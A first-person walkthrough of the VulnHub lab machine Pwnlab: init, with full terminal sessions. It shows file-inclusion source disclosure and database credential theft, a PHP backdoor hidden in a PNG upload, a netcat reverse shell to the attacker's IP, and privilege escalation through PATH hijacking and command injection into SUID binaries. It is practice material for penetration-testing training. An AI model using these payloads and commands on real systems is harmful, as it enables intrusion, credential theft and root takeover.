Name : Pwnlab: init Difficulty : Beginner Type : boot2root Source : VulnHub URL : https://www.vulnhub.com/entry/pwnlab-init,158/ Entry : 9 / 30

Welcome to the walkthrough for Pwnlab: init, a boot2root CTF found on VulnHub. This is the ninth VM in my VulnHub Challenge!

Pwnlab is a lot more involved than the other machines I’ve done up to now. It may be listed as a beginner machine, but I can assure you this one will put you through your paces! Lots of fun though, and definitely on the list of must-try machines in preparation for the OSCP.

Goal

As with most CTFs from VulnHub, the goal is to get the text file which serves as the flag from the /root directory.

Setup

I’m using VMWare Workstation Player to host Kali and the Pwnlab: init image, with both VMs running in a NAT network. Nothing special about the setup here, so you should be fine using either VirtualBox or VMWare Player.

Discovery

I use netdiscover to search for the IP address of the target VM:

root@dante:~# netdiscover -r 192.168.127.0/24 Currently scanning: Finished! | Screen View: Unique Hosts 4 Captured ARP Req/Rep packets, from 4 hosts. Total size: 240 _____________________________________________________________________________ IP At MAC Address Count Len MAC Vendor / Hostname ----------------------------------------------------------------------------- 192.168.127.1 00:50:56:c0:00:08 1 60 VMware, Inc. 192.168.127.2 00:50:56:e0:ea:a0 1 60 VMware, Inc. 192.168.127.132 00:0c:29:e8:22:bd 1 60 VMware, Inc. 192.168.127.254 00:50:56:e1:17:e5 1 60 VMware, Inc.

So it looks like 192.168.127.132 is our target IP.

Scanning

I’ll start with a quick nmap scan to look for open ports, then do a second scan that does a deeper dive into the services behind the open ports using the -sC and -sV flags:

root@dante:~# nmap 192.168.127.132 Starting Nmap 7.80 ( https://nmap.org ) at 2019-09-15 19:35 EDT Nmap scan report for 192.168.127.132 Host is up (0.00075s latency). Not shown: 997 closed ports PORT STATE SERVICE 80/tcp open http 111/tcp open rpcbind 3306/tcp open mysql MAC Address: 00:0C:29:E8:22:BD (VMware) Nmap done: 1 IP address (1 host up) scanned in 0.53 seconds root@dante:~# nmap -sC -sV -p80,111,3306 192.168.127.132 Starting Nmap 7.80 ( https://nmap.org ) at 2019-09-15 19:35 EDT Nmap scan report for 192.168.127.132 Host is up (0.00090s latency). PORT STATE SERVICE VERSION 80/tcp open http Apache httpd 2.4.10 ((Debian)) |_http-server-header: Apache/2.4.10 (Debian) |_http-title: PwnLab Intranet Image Hosting 111/tcp open rpcbind 2-4 (RPC #100000) | rpcinfo: | program version port/proto service | 100000 2,3,4 111/tcp rpcbind | 100000 2,3,4 111/udp rpcbind | 100000 3,4 111/tcp6 rpcbind | 100000 3,4 111/udp6 rpcbind | 100024 1 36690/tcp status | 100024 1 42476/tcp6 status | 100024 1 43227/udp status |_ 100024 1 53872/udp6 status 3306/tcp open mysql MySQL 5.5.47-0+deb8u1 | mysql-info: | Protocol: 10 | Version: 5.5.47-0+deb8u1 | Thread ID: 38 | Capabilities flags: 63487 | Some Capabilities: Support41Auth, DontAllowDatabaseTableColumn, FoundRows, Speaks41ProtocolOld, IgnoreSpaceBeforeParenthesis, ConnectWithDatabase, LongPassword, InteractiveClient, IgnoreSigpipes, SupportsTransactions, SupportsLoadDataLocal, SupportsCompression, Speaks41ProtocolNew, LongColumnFlag, ODBCClient, SupportsMultipleResults, SupportsAuthPlugins, SupportsMultipleStatments | Status: Autocommit | Salt: Oz:NYSw{'K'|aNEN7f~i |_ Auth Plugin Name: mysql_native_password MAC Address: 00:0C:29:E8:22:BD (VMware) Service detection performed. Please report any incorrect results at https://nmap.org/submit/ . Nmap done: 1 IP address (1 host up) scanned in 7.00 seconds

Looks like I’m looking at a web infiltration on this machine, since I’m not seeing any SSH, Telnet, or FTP ports open. MySQL being exposed is also interesting, but I’ll try going through the front door first, i.e. see what port 80 gives me.

Web Reconnaissance

As with other VMs, I’m going to start with curl and see what I can pull down from the main URL:

root@dante:~# curl -v http://192.168.127.132/ * Trying 192.168.127.132:80... * TCP_NODELAY set * Connected to 192.168.127.132 (192.168.127.132) port 80 (#0) > GET / HTTP/1.1 > Host: 192.168.127.132 > User-Agent: curl/7.65.3 > Accept: */* > * Mark bundle as not supporting multiuse < HTTP/1.1 200 OK < Date: Sun, 15 Sep 2019 23:39:30 GMT < Server: Apache/2.4.10 (Debian) < Vary: Accept-Encoding < Content-Length: 332 < Content-Type: text/html; charset=UTF-8 < <html> <head> <title>PwnLab Intranet Image Hosting</title> </head> <body> <center> <img src="images/pwnlab.png"><br /> [ <a href="/">Home</a> ] [ <a href="?page=login">Login</a> ] [ <a href="?page=upload">Upload</a> ] <hr/><br/> Use this server to upload and share image files inside the intranet</center> </body> * Connection #0 to host 192.168.127.132 left intact </html>root@dante:~#

Not a whole lot here. The interesting thing is how the other pages are referenced using a page query parameter. This is typical in PHP applications, so I’m going to assume this is a PHP app.

To test my theory out, I’m going to run gobuster and see what comes out when I specify the .php extension:

root@dante:~# gobuster dir -f -t 50 -x php -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -u http://192.168.127.132/ =============================================================== Gobuster v3.0.1 by OJ Reeves (@TheColonial) & Christian Mehlmauer (@_FireFart_) =============================================================== [+] Url: http://192.168.127.132/ [+] Threads: 50 [+] Wordlist: /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt [+] Status codes: 200,204,301,302,307,401,403 [+] User Agent: gobuster/3.0.1 [+] Extensions: php [+] Add Slash: true [+] Timeout: 10s =============================================================== 2019/09/15 19:43:13 Starting gobuster =============================================================== /icons/ (Status: 403) /upload/ (Status: 200) /upload.php (Status: 200) /images/ (Status: 200) /index.php (Status: 200) /config.php (Status: 200) /login.php (Status: 200) /server-status/ (Status: 403) =============================================================== 2019/09/15 19:44:01 Finished ===============================================================

Well that was informative! Actually there are two things that stand out to me:

There is an /upload.php and /upload/ entry in the list There is a config.php file, which may contain details like a MySQL password or something.

Looking at the /upload/ path, I can see a nice directory listing (that happens to be empty):

And as for the upload.php file, I apparently need to be logged in first:

Browsing to /config.php gives me a blank page, which makes sense since it should be chalked full of configuration variables used by other parts of the site. Since I want to get it’s content, I think about all the different ways to perform Local File Inclusion (LFI) attacks against a PHP application. I turn to my trusty LFI cheat sheet for inspiration.

Note: Some of you may be thinking that I should have gone for a SQL injection attack against the login page, and you’d be right. I actually did try that but I didn’t get anywhere with it. Granted I stayed away from SQLmap, so I’m not sure if that would have worked or not, but I really wanted to see what I could get from this config.php page instead. It’s rare to see MySQL exposed like this, so I figured my best bet was to go after that application next, and I have faith that config.php has the info I’m looking for.

config.php

Now I’m a fan of the php://filter method for LFI, using the convert.base64-encode to encode the data. It obfuscates it just enough to slip past some basic protections. Since I’m after the config.php file, I’ll target it:

root@dante:~# curl http://192.168.127.132/?page=php://filter/convert.base64-encode/resource=config | html2text % Total % Received % Xferd Average Speed Time Time Time Current Dload Upload Total Spent Left Speed 100 405 100 405 0 0 197k 0 --:--:-- --:--:-- --:--:-- 197k [images/pwnlab.png] [ Home ] [ Login ] [ Upload ] =============================================================================== PD9waHANCiRzZXJ2ZXIJICA9ICJsb2NhbGhvc3QiOw0KJHVzZXJuYW1lID0gInJvb3QiOw0KJHBhc3N3b3JkID0gIkg0dSVRSl9IOTkiOw0KJGRhdGFiYXNlID0gIlVzZXJzIjsNCj8+ root@dante:~# curl -s http://192.168.127.132/?page=php://filter/convert.base64-encode/resource=config | html2text | tail -n 1 | base64 -d <?php $server = "localhost"; $username = "root"; $password = "H4u%QJ_H99"; $database = "Users"; ?>

And there it is! All on the command line and all in one go. Yes I could have decoded this in Burp and whatnot, but I really like my CLI.

Now that I have a repeatable process, I might as well see what the other pages are doing. After all, why stop at just config.php , when I have login.php , upload.php , and index.php as well! I will have to adjust the number of lines to read via tail , but that’s a small price to pay.

index.php

curl -s http://192.168.127.132/?page=php://filter/convert.base64-encode/resource=index | html2text | tail -n 4 | base64 -d <?php //Multilingual. Not implemented yet. //setcookie("lang","en.lang.php"); if (isset($_COOKIE['lang'])) { include("lang/".$_COOKIE['lang']); } // Not implemented yet. ?> <html> <head> <title>PwnLab Intranet Image Hosting</title> </head> <body> <center> <img src="images/pwnlab.png"><br /> [ <a href="/">Home</a> ] [ <a href="?page=login">Login</a> ] [ <a href="?page=upload">Upload</a> ] <hr/><br/> <?php if (isset($_GET['page'])) { include($_GET['page'].".php"); } else { echo "Use this server to upload and share image files inside the intranet"; } ?> </center> </body> </html>

Wow, looks like there are two areas for injection here! The lang cookie and the page query parameter. The lang cookie value is easiest since it doesn’t append any strings afterwards like the page query parameter does, so this may come in handy later.

login.php

oot@dante:~# curl -s http://192.168.127.132/?page=php://filter/convert.base64-encode/resource=login | html2text | tail -n 4 | base64 -d <?php session_start(); require("config.php"); $mysqli = new mysqli($server, $username, $password, $database); if (isset($_POST['user']) and isset($_POST['pass'])) { $luser = $_POST['user']; $lpass = base64_encode($_POST['pass']); $stmt = $mysqli->prepare("SELECT * FROM users WHERE user=? AND pass=?"); $stmt->bind_param('ss', $luser, $lpass); $stmt->execute(); $stmt->store_Result(); if ($stmt->num_rows == 1) { $_SESSION['user'] = $luser; header('Location: ?page=upload'); } else { echo "Login failed."; } } else { ?> <form action="" method="POST"> <label>Username: </label><input id="user" type="test" name="user"><br /> <label>Password: </label><input id="pass" type="password" name="pass"><br /> <input type="submit" name="submit" value="Login"> </form> <?php }

So the login page is using prepared statements, making SQL injection a non-starter. That explains the difficulty I had earlier in trying to do simple SQLi to get in. Oh well, at least I didn’t spend a lot of time on it. Still, it’s interesting to see it relies on the config.php file I grabbed earlier.

‘upload.php`

root@dante:~# curl -s http://192.168.127.132/?page=php://filter/convert.base64-encode/resource=upload | html2text | tail -n 4 | base64 -d <?php session_start(); if (!isset($_SESSION['user'])) { die('You must be log in.'); } ?> <html> <body> <form action='' method='post' enctype='multipart/form-data'> <input type='file' name='file' id='file' /> <input type='submit' name='submit' value='Upload'/> </form> </body> </html> <?php if(isset($_POST['submit'])) { if ($_FILES['file']['error'] <= 0) { $filename = $_FILES['file']['name']; $filetype = $_FILES['file']['type']; $uploaddir = 'upload/'; $file_ext = strrchr($filename, '.'); $imageinfo = getimagesize($_FILES['file']['tmp_name']); $whitelist = array(".jpg",".jpeg",".gif",".png"); if (!(in_array($file_ext, $whitelist))) { die('Not allowed extension, please upload images only.'); } if(strpos($filetype,'image') === false) { die('Error 001'); } if($imageinfo['mime'] != 'image/gif' && $imageinfo['mime'] != 'image/jpeg' && $imageinfo['mime'] != 'image/jpg'&& $imageinfo['mime'] != 'image/png') { die('Error 002'); } if(substr_count($filetype, '/')>1){ die('Error 003'); } $uploadfile = $uploaddir . md5(basename($_FILES['file']['name']) ).$file_ext; if (move_uploaded_file($_FILES['file']['tmp_name'], $uploadfile) ) { echo "<img src=\"".$uploadfile."\"><br />"; } else { die('Error 4'); } } } ?base64: invalid input

Not perfect output, but good enough. This one is particularly interesting in that it seems to be restricting the types of files that can be uploaded. It checks the file extension as well as the MIME type via the PHP getimagesize method. This basically means that I can’t upload a PHP web shell with .php.jpg as the extension and expect it to work.

Alright, now that I have some code, let me turn to the exposed MySQL connection and see what I can get out of it.

MySQL Enumeration

From the config.php file above, I know the password for root on MySQL is H4u%QJ_H99 . Let me see what’s available:

root@dante:~# mysql -uroot -p"H4u%QJ_H99" -h 192.168.127.132 Users Reading table information for completion of table and column names You can turn off this feature to get a quicker startup with -A Welcome to the MariaDB monitor. Commands end with ; or \g. Your MySQL connection id is 42 Server version: 5.5.47-0+deb8u1 (Debian) Copyright (c) 2000, 2018, Oracle, MariaDB Corporation Ab and others. Type 'help;' or '\h' for help. Type '\c' to clear the current input statement. MySQL [Users]> show databases; +--------------------+ | Database | +--------------------+ | information_schema | | Users | +--------------------+ 2 rows in set (0.00 sec) MySQL [Users]> show tables; +-----------------+ | Tables_in_Users | +-----------------+ | users | +-----------------+ 1 row in set (0.00 sec) MySQL [Users]> select * from users; +------+------------------+ | user | pass | +------+------------------+ | kent | Sld6WHVCSkpOeQ== | | mike | U0lmZHNURW42SQ== | | kane | aVN2NVltMkdSbw== | +------+------------------+ 3 rows in set (0.01 sec) MySQL [Users]>

So not a lot of extras in the MySQL server. There’s one main database, which has one table, which has encrypted passwords. I’ve copied these usernames and passwords to a CSV file and I wrote a small Python script to decrypt them:

import base64,sys def decodePass(encoded_passwd): passwd = base64.b64decode(encoded_passwd) return passwd with open(sys.argv[1]) as f: for line in f: (user, passwd) = line.split(',') print "%s: %s" % (user, decodePass(passwd))

I could have also done something like echo <password> | base64 -d to decode the passwords via the command line, but I like to flex my old programming muscles every so often. Anyways, once I run my code I get the decoded passwords:

root@dante:~/vulnhub/pwnlab# python passwd.py users.txt kent: JWzXuBJJNy mike: SIfdsTEn6I kane: iSv5Ym2GRo

Now that I have the passwords, I can log in and try uploading a web shell.

Web Shell

Now the fun sets in. As I mentioned earlier, the upload.php file has a few checks to make sure I am actually uploading a file before allowing it to be saved on the server. What this means is I can’t take a standard web shell like /usr/share/webshells/php/simple-backdoor.php from Kali and rename it to simple-backdoor.php.jpg and expect it to work.

So what am I going to do? Well, the bare minimum of course! I’ll go to png-pixel.com and download a simple 1x1 pixel PNG, then append my simple-backdoor.php code to the end of it!

root@dante:~# cat /usr/share/webshells/php/simple-backdoor.php >> 1x1-00000000.png root@dante:~# cat 1x1-00000000.png PNG IHDR IDATxcd`0/IENDB`<!-- Simple PHP backdoor by DK (http://michaeldaw.org) --> <?php if(isset($_REQUEST['cmd'])){ echo "<pre>"; $cmd = ($_REQUEST['cmd']); system($cmd); echo "</pre>"; die; } ?> Usage: http://target.com/simple-backdoor.php?cmd=cat+/etc/passwd <!-- http://michaeldaw.org 2006 -->

As you can see, the first few bytes are a valid PNG file, it’s just the tail end of the file that happens to be my “malicious” code. Now to see if this uploads:

It works! Well, there was no error displayed, so there’s hope. Now let me check the /upload/ directory to see if I can get the new filename, since upload.php file will rename it with some MD5 hashed name:

Yes, it is definitely there! Unfortunately clicking on it will not trigger the PHP interpreter, since the MIME type for this is still a PNG file:

However hope is not lost! Remember the index.php file from earlier? There’s a classic OWASP Injection vulnerability in the lang cookie parameter! I should be able to craft a simple curl query using the -b flag to set the cookie value to the image file I uploaded earlier. This will include the PNG file, along with the PHP web shell I added to the end of it, into the index.php code, meaning I can pass in query parameters to this URL and run them!

root@dante:~# curl --output - -b lang=../upload/6a8c0c37efded4d620a5c59990f07b90.png http://192.168.127.132/index.php?cmd=whoami PNG IHDR IDATxcd`0/IENDB`<!-- Simple PHP backdoor by DK (http://michaeldaw.org) --> <pre>www-data </pre>

It may not be pretty, but it worked! I can see that the Apache server is running as www-data , which is expected. Now let me see if I can get a foothold on this machine.

First, let me see if nc is available:

root@dante:~# curl --output - -b lang=../upload/6a8c0c37efded4d620a5c59990f07b90.png http://192.168.127.132/index.php?cmd=which+nc PNG IHDR IDATxcd`0/IENDB`<!-- Simple PHP backdoor by DK (http://michaeldaw.org) --> <pre>/bin/nc </pre>

Yes, it is available! Awesome, let me setup a listener and then execute a reverse connection using nc :

root@dante:~# curl --output - -b lang=../upload/6a8c0c37efded4d620a5c59990f07b90.png http://192.168.127.132/index.php?cmd=/bin/nc+-e+/bin/sh+192.168.127.129+9001

root@dante:~# nc -nvlp 9001 Ncat: Version 7.80 ( https://nmap.org/ncat ) Ncat: Listening on :::9001 Ncat: Listening on 0.0.0.0:9001 Ncat: Connection from 192.168.127.132. Ncat: Connection from 192.168.127.132:39649. python -c "import pty;pty.spawn('/bin/bash')" www-data@pwnlab:/var/www/html$ export TERM=screen export TERM=screen www-data@pwnlab:/var/www/html$

Success. I create a proper TTY session using Python, and export the TERM variable so I can clear the screen. Now let me go hunting for ways to escalate my privileges.

Escalating Privileges

I’m going to do some light recon before I move on to using scripts like LinEnum.sh . I’ll start by looking at what users are on the system by looking at the /etc/passwd file:

root@dante:~# nc -nvlp 9001 Ncat: Version 7.80 ( https://nmap.org/ncat ) Ncat: Listening on :::9001 Ncat: Listening on 0.0.0.0:9001 Ncat: Connection from 192.168.127.132. Ncat: Connection from 192.168.127.132:39649. python -c "import pty;pty.spawn('/bin/bash')" www-data@pwnlab:/var/www/html$ export TERM=screen export TERM=screen www-data@pwnlab:/var/www/html$ cat /etc/passwd cat /etc/passwd root:x:0:0:root:/root:/bin/bash daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin bin:x:2:2:bin:/bin:/usr/sbin/nologin sys:x:3:3:sys:/dev:/usr/sbin/nologin sync:x:4:65534:sync:/bin:/bin/sync games:x:5:60:games:/usr/games:/usr/sbin/nologin man:x:6:12:man:/var/cache/man:/usr/sbin/nologin lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin mail:x:8:8:mail:/var/mail:/usr/sbin/nologin news:x:9:9:news:/var/spool/news:/usr/sbin/nologin uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin proxy:x:13:13:proxy:/bin:/usr/sbin/nologin www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin backup:x:34:34:backup:/var/backups:/usr/sbin/nologin list:x:38:38:Mailing List Manager:/var/list:/usr/sbin/nologin irc:x:39:39:ircd:/var/run/ircd:/usr/sbin/nologin gnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/usr/sbin/nologin nobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin systemd-timesync:x:100:103:systemd Time Synchronization,,,:/run/systemd:/bin/false systemd-network:x:101:104:systemd Network Management,,,:/run/systemd/netif:/bin/false systemd-resolve:x:102:105:systemd Resolver,,,:/run/systemd/resolve:/bin/false systemd-bus-proxy:x:103:106:systemd Bus Proxy,,,:/run/systemd:/bin/false Debian-exim:x:104:109::/var/spool/exim4:/bin/false messagebus:x:105:110::/var/run/dbus:/bin/false statd:x:106:65534::/var/lib/nfs:/bin/false john:x:1000:1000:,,,:/home/john:/bin/bash kent:x:1001:1001:,,,:/home/kent:/bin/bash mike:x:1002:1002:,,,:/home/mike:/bin/bash kane:x:1003:1003:,,,:/home/kane:/bin/bash mysql:x:107:113:MySQL Server,,,:/nonexistent:/bin/false

So there are a few users on the system, including john , kent , mike , and kane . From the previous work with MySQL, I have passwords for three of these users. I’ll start in alphabetical order and see if kane re-used his password:

www-data@pwnlab:/var/www/html$ su kane su kane Password: iSv5Ym2GRo kane@pwnlab:/var/www/html$ cd /home/kane cd /home/kane kane@pwnlab:~$ ls -al ls -al total 36 drwxr-x--- 2 kane kane 4096 Jun 25 11:45 . drwxr-xr-x 6 root root 4096 Mar 17 2016 .. -rw------- 1 kane kane 303 Jun 24 21:24 .bash_history -rw-r--r-- 1 kane kane 220 Mar 17 2016 .bash_logout -rw-r--r-- 1 kane kane 3515 Mar 17 2016 .bashrc -rwxr-xr-x 1 kane kane 10 Jun 25 11:45 cat -rwsr-sr-x 1 mike mike 5148 Mar 17 2016 msgmike -rw-r--r-- 1 kane kane 675 Mar 17 2016 .profile kane@pwnlab:~$

Success again! It seems there is a /home/kane/msgmike application that has the SUID bit set to mike . This is great since I did a quick check on sudo for kane , and it did not work. Let me see what this program does exactly, and then use the strings command to see if there’s anything interesting in it:

kane@pwnlab:~$ ./msgmike ./msgmike cat: /home/mike/msg.txt: No such file or directory kane@pwnlab:~$ strings msgmike strings msgmike /lib/ld-linux.so.2 libc.so.6 _IO_stdin_used setregid setreuid system __libc_start_main __gmon_start__ GLIBC_2.0 PTRh QVh[ [^_] cat /home/mike/msg.txt ;*2$"( GCC: (Debian 4.9.2-10) 4.9.2 GCC: (Debian 4.8.4-1) 4.8.4 <snip> ...

This is interesting. It seems to call cat on a file in /home/mike that doesn’t exist. Looking at the output of the strings command, I can see that the call to cat is relative and not absolute. What does that mean? It means I can have this application call whatever cat file I want, provided I manipulate the path. Let me do just that.

Escalating to mike

I create my own version of cat in /tmp and adjust the PATH variable accordingly before I re-run the msgmike program:

kane@pwnlab:/tmp$ echo "bash -i" > cat echo "bash -i" > cat kane@pwnlab:/tmp$ chmod 755 cat chmod 755 cat kane@pwnlab:/tmp$ export PATH=/tmp:$PATH export PATH=/tmp:$PATH kane@pwnlab:/tmp$ cd /home/kane cd /home/kane kane@pwnlab:~$ ./msgmike ./msgmike mike@pwnlab:~$ cd /home/mike cd /home/mike mike@pwnlab:/home/mike$ ls -al ls -al total 28 drwxr-x--- 2 mike mike 4096 Jun 24 21:36 . drwxr-xr-x 6 root root 4096 Mar 17 2016 .. -rw-r--r-- 1 mike mike 220 Mar 17 2016 .bash_logout -rw-r--r-- 1 mike mike 3515 Mar 17 2016 .bashrc -rwsr-sr-x 1 root root 5364 Mar 17 2016 msg2root -rw-r--r-- 1 mike mike 675 Mar 17 2016 .profile mike@pwnlab:/home/mike$

Excellent! We’re now logged in as mike ! This new user seems to have a similar SUID/SGID program called msg2root , which feels familiar. I’m going to start with the strings command first just to see if something jumps out at me:

mike@pwnlab:/home/mike$ strings msg2root strings msg2root /lib/ld-linux.so.2 libc.so.6 _IO_stdin_used stdin fgets asprintf system __libc_start_main __gmon_start__ GLIBC_2.0 PTRh [^_] Message for root: /bin/echo %s >> /root/messages.txt ;*2$"( <snip> ...

I see that there’s another one of these command line injections available, but this time it’s a bit different. Previously the cat command was relative, but here the echo command is absolute so I can’t use the same trick as before.

Escalating to root

Having said that, you can see that the string taken from the user is blindly injected into the string! The %s is a variable that substitutes the input from the user. That’s the theory at least, but I’m going to try it. I’ll inject a string like a ; /bin/sh ; # , which should give a valid value for the echo command, and then chain the /bin/sh command afterwards. The # will comment out the rest of the following command, not that it’s necessary:

mike@pwnlab:/home/mike$ ./msg2root ./msg2root Message for root: a ; /bin/sh ; # a ; /bin/sh ; # a # cd /root cd /root # ls -al ls -al total 20 drwx------ 2 root root 4096 Mar 17 2016 . drwxr-xr-x 21 root root 4096 Mar 17 2016 .. lrwxrwxrwx 1 root root 9 Mar 17 2016 .bash_history -> /dev/null -rw-r--r-- 1 root root 570 Jan 31 2010 .bashrc ---------- 1 root root 1840 Mar 17 2016 flag.txt lrwxrwxrwx 1 root root 9 Mar 17 2016 messages.txt -> /dev/null lrwxrwxrwx 1 root root 9 Mar 17 2016 .mysql_history -> /dev/null -rw-r--r-- 1 root root 140 Nov 19 2007 .profile #

Get The Flag

Success! I’ve escalated to root . Now let me grab the flag (making sure that I use the absolute path to cat , or I’ll pick up my hacked one in /tmp/cat ):

# /bin/cat flag.txt /bin/cat flag.txt .-=~=-. .-=~=-. (__ _)-._.-=-._.-=-._.-=-._.-=-._.-=-._.-=-._.-=-._.-=-._.-=-._.-=-._.-(__ _) (_ ___) _____ _ (_ ___) (__ _) / __ \ | | (__ _) ( _ __) | / \/ ___ _ __ __ _ _ __ __ _| |_ ___ ( _ __) (__ _) | | / _ \| '_ \ / _` | '__/ _` | __/ __| (__ _) (_ ___) | \__/\ (_) | | | | (_| | | | (_| | |_\__ \ (_ ___) (__ _) \____/\___/|_| |_|\__, |_| \__,_|\__|___/ (__ _) ( _ __) __/ | ( _ __) (__ _) |___/ (__ _) (__ _) (__ _) (_ ___) If you are reading this, means that you have break 'init' (_ ___) ( _ __) Pwnlab. I hope you enjoyed and thanks for your time doing ( _ __) (__ _) this challenge. (__ _) (_ ___) (_ ___) ( _ __) Please send me your feedback or your writeup, I will love ( _ __) (__ _) reading it (__ _) (__ _) (__ _) (__ _) For sniferl4bs.com (__ _) ( _ __) claor@PwnLab.net - @Chronicoder ( _ __) (__ _) (__ _) (_ ___)-._.-=-._.-=-._.-=-._.-=-._.-=-._.-=-._.-=-._.-=-._.-=-._.-=-._.-(_ ___) `-._.-' `-._.-'

Fin.